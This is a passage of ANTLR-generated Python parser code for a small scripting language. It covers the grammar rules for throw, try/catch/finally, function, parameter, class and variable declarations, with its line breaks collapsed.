self.input.LT(-1), re) finally: pass return retval # $ANTLR end "each" class each_val_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.each_val_return, self).__init__() self.tree = None # $ANTLR start "each_val" # Expr.g:159:1: each_val : ID ( ',' ID )* -> ^( EACH_VAL ( ID )+ ) ; def each_val(self, ): retval = self.each_val_return() retval.start = self.input.LT(1) root_0 = None ID109 = None char_literal110 = None ID111 = None ID109_tree = None char_literal110_tree = None ID111_tree = None stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") try: try: # Expr.g:160:2: ( ID ( ',' ID )* -> ^( EACH_VAL ( ID )+ ) ) # Expr.g:160:4: ID ( ',' ID )* pass ID109 = self.match(self.input, ID, self.FOLLOW_ID_in_each_val963) if self._state.backtracking == 0: stream_ID.add(ID109) # Expr.g:160:7: ( ',' ID )* while True: #loop19 alt19 = 2 LA19_0 = self.input.LA(1) if (LA19_0 == 82) : alt19 = 1 if alt19 == 1: # Expr.g:160:8: ',' ID pass char_literal110 = self.match(self.input, 82, self.FOLLOW_82_in_each_val966) if self._state.backtracking == 0: stream_82.add(char_literal110) ID111 = self.match(self.input, ID, self.FOLLOW_ID_in_each_val968) if self._state.backtracking == 0: stream_ID.add(ID111) else: break #loop19 # AST Rewrite # elements: ID # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 161:3: -> ^( EACH_VAL ( ID )+ ) # Expr.g:161:6: ^( EACH_VAL ( ID )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EACH_VAL, "EACH_VAL") , root_1) # Expr.g:161:17: ( ID )+ if not (stream_ID.hasNext()): raise RewriteEarlyExitException() while stream_ID.hasNext(): self._adaptor.addChild(root_1, stream_ID.nextNode() ) stream_ID.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "each_val" class throw_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.throw_stmt_return, self).__init__() self.tree = None # $ANTLR start "throw_stmt" # Expr.g:165:1: throw_stmt : 'throw' expr ';' -> ^( THROW expr ) ; def throw_stmt(self, ): retval = self.throw_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal112 = None char_literal114 = None expr113 = None string_literal112_tree = None char_literal114_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_129 = RewriteRuleTokenStream(self._adaptor, "token 129") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:166:2: ( 'throw' expr ';' -> ^( THROW expr ) ) # Expr.g:166:4: 'throw' expr ';' pass string_literal112 = self.match(self.input, 129, self.FOLLOW_129_in_throw_stmt993) if self._state.backtracking == 0: stream_129.add(string_literal112) self._state.following.append(self.FOLLOW_expr_in_throw_stmt995) expr113 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr113.tree) char_literal114 = self.match(self.input, 92, self.FOLLOW_92_in_throw_stmt997) if self._state.backtracking == 0: stream_92.add(char_literal114) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 167:3: -> ^( THROW expr ) # Expr.g:167:6: ^( THROW expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(THROW, "THROW") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "throw_stmt" class try_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.try_stmt_return, self).__init__() self.tree = None # $ANTLR start "try_stmt" # Expr.g:169:1: try_stmt : 'try' block ( catch_clause )+ ( finally_clause )? -> ^( TRY block ( catch_clause )+ ( finally_clause )? ) ; def try_stmt(self, ): retval = self.try_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal115 = None block116 = None catch_clause117 = None finally_clause118 = None string_literal115_tree = None stream_130 = RewriteRuleTokenStream(self._adaptor, "token 130") stream_catch_clause = RewriteRuleSubtreeStream(self._adaptor, "rule catch_clause") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_finally_clause = RewriteRuleSubtreeStream(self._adaptor, "rule finally_clause") try: try: # Expr.g:170:2: ( 'try' block ( catch_clause )+ ( finally_clause )? -> ^( TRY block ( catch_clause )+ ( finally_clause )? ) ) # Expr.g:170:4: 'try' block ( catch_clause )+ ( finally_clause )? pass string_literal115 = self.match(self.input, 130, self.FOLLOW_130_in_try_stmt1017) if self._state.backtracking == 0: stream_130.add(string_literal115) self._state.following.append(self.FOLLOW_block_in_try_stmt1019) block116 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block116.tree) # Expr.g:170:16: ( catch_clause )+ cnt20 = 0 while True: #loop20 alt20 = 2 LA20_0 = self.input.LA(1) if (LA20_0 == 107) : alt20 = 1 if alt20 == 1: # Expr.g:170:16: catch_clause pass self._state.following.append(self.FOLLOW_catch_clause_in_try_stmt1021) catch_clause117 = self.catch_clause() self._state.following.pop() if self._state.backtracking == 0: stream_catch_clause.add(catch_clause117.tree) else: if cnt20 >= 1: break #loop20 if self._state.backtracking > 0: raise BacktrackingFailed eee = EarlyExitException(20, self.input) raise eee cnt20 += 1 # Expr.g:170:30: ( finally_clause )? alt21 = 2 LA21_0 = self.input.LA(1) if (LA21_0 == 114) : alt21 = 1 if alt21 == 1: # Expr.g:170:30: finally_clause pass self._state.following.append(self.FOLLOW_finally_clause_in_try_stmt1024) finally_clause118 = self.finally_clause() self._state.following.pop() if self._state.backtracking == 0: stream_finally_clause.add(finally_clause118.tree) # AST Rewrite # elements: finally_clause, catch_clause, block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 171:3: -> ^( TRY block ( catch_clause )+ ( finally_clause )? ) # Expr.g:171:6: ^( TRY block ( catch_clause )+ ( finally_clause )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(TRY, "TRY") , root_1) self._adaptor.addChild(root_1, stream_block.nextTree()) # Expr.g:171:18: ( catch_clause )+ if not (stream_catch_clause.hasNext()): raise RewriteEarlyExitException() while stream_catch_clause.hasNext(): self._adaptor.addChild(root_1, stream_catch_clause.nextTree()) stream_catch_clause.reset() # Expr.g:171:32: ( finally_clause )? if stream_finally_clause.hasNext(): self._adaptor.addChild(root_1, stream_finally_clause.nextTree()) stream_finally_clause.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "try_stmt" class catch_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.catch_clause_return, self).__init__() self.tree = None # $ANTLR start "catch_clause" # Expr.g:173:1: catch_clause : 'catch' '(' module ( ID )? ')' block -> ^( CATCH module ( ID )? block ) ; def catch_clause(self, ): retval = self.catch_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal119 = None char_literal120 = None ID122 = None char_literal123 = None module121 = None block124 = None string_literal119_tree = None char_literal120_tree = None ID122_tree = None char_literal123_tree = None stream_107 = RewriteRuleTokenStream(self._adaptor, "token 107") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_module = RewriteRuleSubtreeStream(self._adaptor, "rule module") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") try: try: # Expr.g:174:2: ( 'catch' '(' module ( ID )? ')' block -> ^( CATCH module ( ID )? block ) ) # Expr.g:174:4: 'catch' '(' module ( ID )? ')' block pass string_literal119 = self.match(self.input, 107, self.FOLLOW_107_in_catch_clause1051) if self._state.backtracking == 0: stream_107.add(string_literal119) char_literal120 = self.match(self.input, 75, self.FOLLOW_75_in_catch_clause1053) if self._state.backtracking == 0: stream_75.add(char_literal120) self._state.following.append(self.FOLLOW_module_in_catch_clause1055) module121 = self.module() self._state.following.pop() if self._state.backtracking == 0: stream_module.add(module121.tree) # Expr.g:174:23: ( ID )? alt22 = 2 LA22_0 = self.input.LA(1) if (LA22_0 == ID) : alt22 = 1 if alt22 == 1: # Expr.g:174:23: ID pass ID122 = self.match(self.input, ID, self.FOLLOW_ID_in_catch_clause1057) if self._state.backtracking == 0: stream_ID.add(ID122) char_literal123 = self.match(self.input, 76, self.FOLLOW_76_in_catch_clause1060) if self._state.backtracking == 0: stream_76.add(char_literal123) self._state.following.append(self.FOLLOW_block_in_catch_clause1062) block124 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block124.tree) # AST Rewrite # elements: block, ID, module # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 175:3: -> ^( CATCH module ( ID )? block ) # Expr.g:175:6: ^( CATCH module ( ID )? block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CATCH, "CATCH") , root_1) self._adaptor.addChild(root_1, stream_module.nextTree()) # Expr.g:175:21: ( ID )? if stream_ID.hasNext(): self._adaptor.addChild(root_1, stream_ID.nextNode() ) stream_ID.reset(); self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "catch_clause" class finally_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.finally_clause_return, self).__init__() self.tree = None # $ANTLR start "finally_clause" # Expr.g:177:1: finally_clause : 'finally' block -> ^( FINALLY block ) ; def finally_clause(self, ): retval = self.finally_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal125 = None block126 = None string_literal125_tree = None stream_114 = RewriteRuleTokenStream(self._adaptor, "token 114") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") try: try: # Expr.g:178:2: ( 'finally' block -> ^( FINALLY block ) ) # Expr.g:178:4: 'finally' block pass string_literal125 = self.match(self.input, 114, self.FOLLOW_114_in_finally_clause1087) if self._state.backtracking == 0: stream_114.add(string_literal125) self._state.following.append(self.FOLLOW_block_in_finally_clause1089) block126 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block126.tree) # AST Rewrite # elements: block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 179:3: -> ^( FINALLY block ) # Expr.g:179:6: ^( FINALLY block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(FINALLY, "FINALLY") , root_1) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "finally_clause" class func_decl_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.func_decl_return, self).__init__() self.tree = None # $ANTLR start "func_decl" # Expr.g:183:1: func_decl : 'function' ID params block -> ^( FUNCTION ID params block ) ; def func_decl(self, ): retval = self.func_decl_return() retval.start = self.input.LT(1) root_0 = None string_literal127 = None ID128 = None params129 = None block130 = None string_literal127_tree = None ID128_tree = None stream_117 = RewriteRuleTokenStream(self._adaptor, "token 117") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_params = RewriteRuleSubtreeStream(self._adaptor, "rule params") try: try: # Expr.g:184:2: ( 'function' ID params block -> ^( FUNCTION ID params block ) ) # Expr.g:184:4: 'function' ID params block pass string_literal127 = self.match(self.input, 117, self.FOLLOW_117_in_func_decl1111) if self._state.backtracking == 0: stream_117.add(string_literal127) ID128 = self.match(self.input, ID, self.FOLLOW_ID_in_func_decl1113) if self._state.backtracking == 0: stream_ID.add(ID128) self._state.following.append(self.FOLLOW_params_in_func_decl1115) params129 = self.params() self._state.following.pop() if self._state.backtracking == 0: stream_params.add(params129.tree) self._state.following.append(self.FOLLOW_block_in_func_decl1117) block130 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block130.tree) # AST Rewrite # elements: block, ID, params # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 185:3: -> ^( FUNCTION ID params block ) # Expr.g:185:6: ^( FUNCTION ID params block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(FUNCTION, "FUNCTION") , root_1) self._adaptor.addChild(root_1, stream_ID.nextNode() ) self._adaptor.addChild(root_1, stream_params.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "func_decl" class params_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.params_return, self).__init__() self.tree = None # $ANTLR start "params" # Expr.g:187:1: params : '(' ( param_decl )? ( ',' param_decl )* ')' -> ^( PARAMS ( param_decl )* ) ; def params(self, ): retval = self.params_return() retval.start = self.input.LT(1) root_0 = None char_literal131 = None char_literal133 = None char_literal135 = None param_decl132 = None param_decl134 = None char_literal131_tree = None char_literal133_tree = None char_literal135_tree = None stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_param_decl = RewriteRuleSubtreeStream(self._adaptor, "rule param_decl") try: try: # Expr.g:188:2: ( '(' ( param_decl )? ( ',' param_decl )* ')' -> ^( PARAMS ( param_decl )* ) ) # Expr.g:188:4: '(' ( param_decl )? ( ',' param_decl )* ')' pass char_literal131 = self.match(self.input, 75, self.FOLLOW_75_in_params1141) if self._state.backtracking == 0: stream_75.add(char_literal131) # Expr.g:188:8: ( param_decl )? alt23 = 2 LA23_0 = self.input.LA(1) if (LA23_0 == ID) : alt23 = 1 if alt23 == 1: # Expr.g:188:8: param_decl pass self._state.following.append(self.FOLLOW_param_decl_in_params1143) param_decl132 = self.param_decl() self._state.following.pop() if self._state.backtracking == 0: stream_param_decl.add(param_decl132.tree) # Expr.g:188:20: ( ',' param_decl )* while True: #loop24 alt24 = 2 LA24_0 = self.input.LA(1) if (LA24_0 == 82) : alt24 = 1 if alt24 == 1: # Expr.g:188:21: ',' param_decl pass char_literal133 = self.match(self.input, 82, self.FOLLOW_82_in_params1147) if self._state.backtracking == 0: stream_82.add(char_literal133) self._state.following.append(self.FOLLOW_param_decl_in_params1149) param_decl134 = self.param_decl() self._state.following.pop() if self._state.backtracking == 0: stream_param_decl.add(param_decl134.tree) else: break #loop24 char_literal135 = self.match(self.input, 76, self.FOLLOW_76_in_params1153) if self._state.backtracking == 0: stream_76.add(char_literal135) # AST Rewrite # elements: param_decl # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 189:3: -> ^( PARAMS ( param_decl )* ) # Expr.g:189:6: ^( PARAMS ( param_decl )* ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(PARAMS, "PARAMS") , root_1) # Expr.g:189:15: ( param_decl )* while stream_param_decl.hasNext(): self._adaptor.addChild(root_1, stream_param_decl.nextTree()) stream_param_decl.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "params" class param_decl_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.param_decl_return, self).__init__() self.tree = None # $ANTLR start "param_decl" # Expr.g:191:1: param_decl : ID ( '=' atom )? ; def param_decl(self, ): retval = self.param_decl_return() retval.start = self.input.LT(1) root_0 = None ID136 = None char_literal137 = None atom138 = None ID136_tree = None char_literal137_tree = None try: try: # Expr.g:192:2: ( ID ( '=' atom )? ) # Expr.g:192:4: ID ( '=' atom )? pass root_0 = self._adaptor.nil() ID136 = self.match(self.input, ID, self.FOLLOW_ID_in_param_decl1174) if self._state.backtracking == 0: ID136_tree = self._adaptor.createWithPayload(ID136) self._adaptor.addChild(root_0, ID136_tree) # Expr.g:192:7: ( '=' atom )? alt25 = 2 LA25_0 = self.input.LA(1) if (LA25_0 == 95) : alt25 = 1 if alt25 == 1: # Expr.g:192:8: '=' atom pass char_literal137 = self.match(self.input, 95, self.FOLLOW_95_in_param_decl1177) if self._state.backtracking == 0: char_literal137_tree = self._adaptor.createWithPayload(char_literal137) self._adaptor.addChild(root_0, char_literal137_tree) self._state.following.append(self.FOLLOW_atom_in_param_decl1179) atom138 = self.atom() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, atom138.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "param_decl" class class_decl_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.class_decl_return, self).__init__() self.tree = None # $ANTLR start "class_decl" # Expr.g:195:1: class_decl : 'class' ID ( 'extends' ID )? '{' ( class_element )* '}' -> ^( CLASS ID ( ID )? ( class_element )* ) ; def class_decl(self, ): retval = self.class_decl_return() retval.start = self.input.LT(1) root_0 = None string_literal139 = None ID140 = None string_literal141 = None ID142 = None char_literal143 = None char_literal145 = None class_element144 = None string_literal139_tree = None ID140_tree = None string_literal141_tree = None ID142_tree = None char_literal143_tree = None char_literal145_tree = None stream_132 = RewriteRuleTokenStream(self._adaptor, "token 132") stream_113 = RewriteRuleTokenStream(self._adaptor, "token 113") stream_108 = RewriteRuleTokenStream(self._adaptor, "token 108") stream_136 = RewriteRuleTokenStream(self._adaptor, "token 136") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_class_element = RewriteRuleSubtreeStream(self._adaptor, "rule class_element") try: try: # Expr.g:196:2: ( 'class' ID ( 'extends' ID )? '{' ( class_element )* '}' -> ^( CLASS ID ( ID )? ( class_element )* ) ) # Expr.g:196:4: 'class' ID ( 'extends' ID )? '{' ( class_element )* '}' pass string_literal139 = self.match(self.input, 108, self.FOLLOW_108_in_class_decl1192) if self._state.backtracking == 0: stream_108.add(string_literal139) ID140 = self.match(self.input, ID, self.FOLLOW_ID_in_class_decl1194) if self._state.backtracking == 0: stream_ID.add(ID140) # Expr.g:196:15: ( 'extends' ID )? alt26 = 2 LA26_0 = self.input.LA(1) if (LA26_0 == 113) : alt26 = 1 if alt26 == 1: # Expr.g:196:16: 'extends' ID pass string_literal141 = self.match(self.input, 113, self.FOLLOW_113_in_class_decl1197) if self._state.backtracking == 0: stream_113.add(string_literal141) ID142 = self.match(self.input, ID, self.FOLLOW_ID_in_class_decl1199) if self._state.backtracking == 0: stream_ID.add(ID142) char_literal143 = self.match(self.input, 132, self.FOLLOW_132_in_class_decl1205) if self._state.backtracking == 0: stream_132.add(char_literal143) # Expr.g:197:7: ( class_element )* while True: #loop27 alt27 = 2 LA27_0 = self.input.LA(1) if (LA27_0 == 117 or LA27_0 == 124) : alt27 = 1 if alt27 == 1: # Expr.g:197:7: class_element pass self._state.following.append(self.FOLLOW_class_element_in_class_decl1207) class_element144 = self.class_element() self._state.following.pop() if self._state.backtracking == 0: stream_class_element.add(class_element144.tree) else: break #loop27 char_literal145 = self.match(self.input, 136, self.FOLLOW_136_in_class_decl1210) if self._state.backtracking == 0: stream_136.add(char_literal145) # AST Rewrite # elements: ID, ID, class_element # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 198:3: -> ^( CLASS ID ( ID )? ( class_element )* ) # Expr.g:198:6: ^( CLASS ID ( ID )? ( class_element )* ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CLASS, "CLASS") , root_1) self._adaptor.addChild(root_1, stream_ID.nextNode() ) # Expr.g:198:17: ( ID )? if stream_ID.hasNext(): self._adaptor.addChild(root_1, stream_ID.nextNode() ) stream_ID.reset(); # Expr.g:198:21: ( class_element )* while stream_class_element.hasNext(): self._adaptor.addChild(root_1, stream_class_element.nextTree()) stream_class_element.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "class_decl" class class_element_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.class_element_return, self).__init__() self.tree = None # $ANTLR start "class_element" # Expr.g:200:1: class_element : ( var_def | constructor | func_decl ); def class_element(self, ): retval = self.class_element_return() retval.start = self.input.LT(1) root_0 = None var_def146 = None constructor147 = None func_decl148 = None try: try: # Expr.g:201:2: ( var_def | constructor | func_decl ) alt28 = 3 LA28_0 = self.input.LA(1) if (LA28_0 == 124) : alt28 = 1 elif (LA28_0 == 117) : LA28_2 = self.input.LA(2) if (LA28_2 == 120) : alt28 = 2 elif (LA28_2 == ID) : alt28 = 3 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 28, 2, self.input) raise nvae else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 28, 0, self.input) raise nvae if alt28 == 1: # Expr.g:201:4: var_def pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_var_def_in_class_element1236) var_def146 = self.var_def() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, var_def146.tree) elif alt28 == 2: # Expr.g:201:14: constructor pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_constructor_in_class_element1240) constructor147 = self.constructor() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, constructor147.tree) elif alt28 == 3: # Expr.g:201:28: func_decl pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_func_decl_in_class_element1244) func_decl148 = self.func_decl() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, func_decl148.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "class_element" class var_def_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.var_def_return, self).__init__() self.tree = None # $ANTLR start "var_def" # Expr.g:203:1: var_def : ( 'public' ID ( '=' expr )? ';' -> ^( VAR ID ( expr )? ) | 'public' 'static' ID ( '=' expr )? ';' -> ^( VAR 'static' ID ( expr )? ) ); def var_def(self, ): retval = self.var_def_return() retval.start = self.input.LT(1) root_0 = None string_literal149 = None ID150 = None char_literal151 = None char_literal153 = None string_literal154 = None string_literal155 = None ID156 = None char_literal157 = None char_literal159 = None expr152 = None expr158 = None string_literal149_tree = None ID150_tree = None char_literal151_tree = None char_literal153_tree = None string_literal154_tree = None string_literal155_tree = None ID156_tree = None char_literal157_tree = None char_literal159_tree = None stream_127 = RewriteRuleTokenStream(self._adaptor, "token 127") stream_95 = RewriteRuleTokenStream(self._adaptor, "token 95") stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_124 = RewriteRuleTokenStream(self._adaptor, "token 124") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:204:2: ( 'public' ID ( '=' expr )? ';' -> ^( VAR ID ( expr )? ) | 'public' 'static' ID ( '=' expr )? ';' -> ^( VAR 'static' ID ( expr )? ) ) alt31 = 2 LA31_0 = self.input.LA(1) if (LA31_0 == 124) : LA31_1 = self.input.LA(2) if (LA31_1 == ID) : alt31 = 1 elif (LA31_1 == 127) : alt31 = 2 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 31, 1, self.input) raise nvae else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 31, 0, self.input) raise nvae if alt31 == 1: # Expr.g:204:4: 'public' ID ( '=' expr )? ';' pass string_literal149 = self.match(self.input, 124, self.FOLLOW_124_in_var_def1254) if self._state.backtracking == 0: stream_124.add(string_literal149) ID150 = self.match(self.input, ID, self.FOLLOW_ID_in_var_def1256) if self._state.backtracking == 0: stream_ID.add(ID150) # Expr.g:204:16: ( '=' expr )? alt29 = 2 LA29_0 = self.input.LA(1) if (LA29_0 == 95) : alt29 = 1 if alt29 == 1: # Expr.g:204:17: '=' expr pass char_literal151 = self.match(self.input, 95, self.FOLLOW_95_in_var_def1259) if self._state.backtracking == 0: stream_95.add(char_literal151) self._state.following.append(self.FOLLOW_expr_in_var_def1261) expr152 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr152.tree) char_literal153 = self.match(self.input, 92, self.FOLLOW_92_in_var_def1265) if self._state.backtracking == 0: stream_92.add(char_literal153) # AST Rewrite # elements: expr, ID # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 205:3: -> ^( VAR ID ( expr )? ) # Expr.g:205:6: ^( VAR ID ( expr )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(VAR, "VAR") , root_1) self._adaptor.addChild(root_1, stream_ID.nextNode() ) # Expr.g:205:15: ( expr )? if stream_expr.hasNext(): self._adaptor.addChild(root_1, stream_expr.nextTree()) stream_expr.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 